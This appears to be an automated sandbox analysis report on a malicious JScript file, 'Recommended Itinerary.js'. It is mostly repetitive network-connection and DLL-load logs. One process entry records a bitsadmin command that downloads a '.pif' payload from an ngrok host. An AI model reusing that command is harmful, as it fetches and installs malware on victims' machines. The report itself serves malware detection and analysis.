Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown

HTTPS traffic detected: 3.13.191.225:443 -> 192.168.11.20:49757 version: TLS 1.2

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: Recommended Itinerary.js

Initial sample: Strings found which are bigger than 50

Source: BITDF50.tmp.3.dr

Static PE information: No import functions for PE file found

Source: classification engine

Classification label: mal72.evad.winJS@5/4@1/2

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\BITDF50.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8596:304:WilStaging_02

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Recommended Itinerary.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://090125.ngrok-free.app//BITZX.pif C:\Users\user\BITZX.pif
Source: C:\Windows\System32\bitsadmin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://090125.ngrok-free.app//BITZX.pif C:\Users\user\BITZX.pif	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\bitsadmin.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\bitsadmin.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\bitsadmin.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\bitsadmin.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\bitsadmin.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
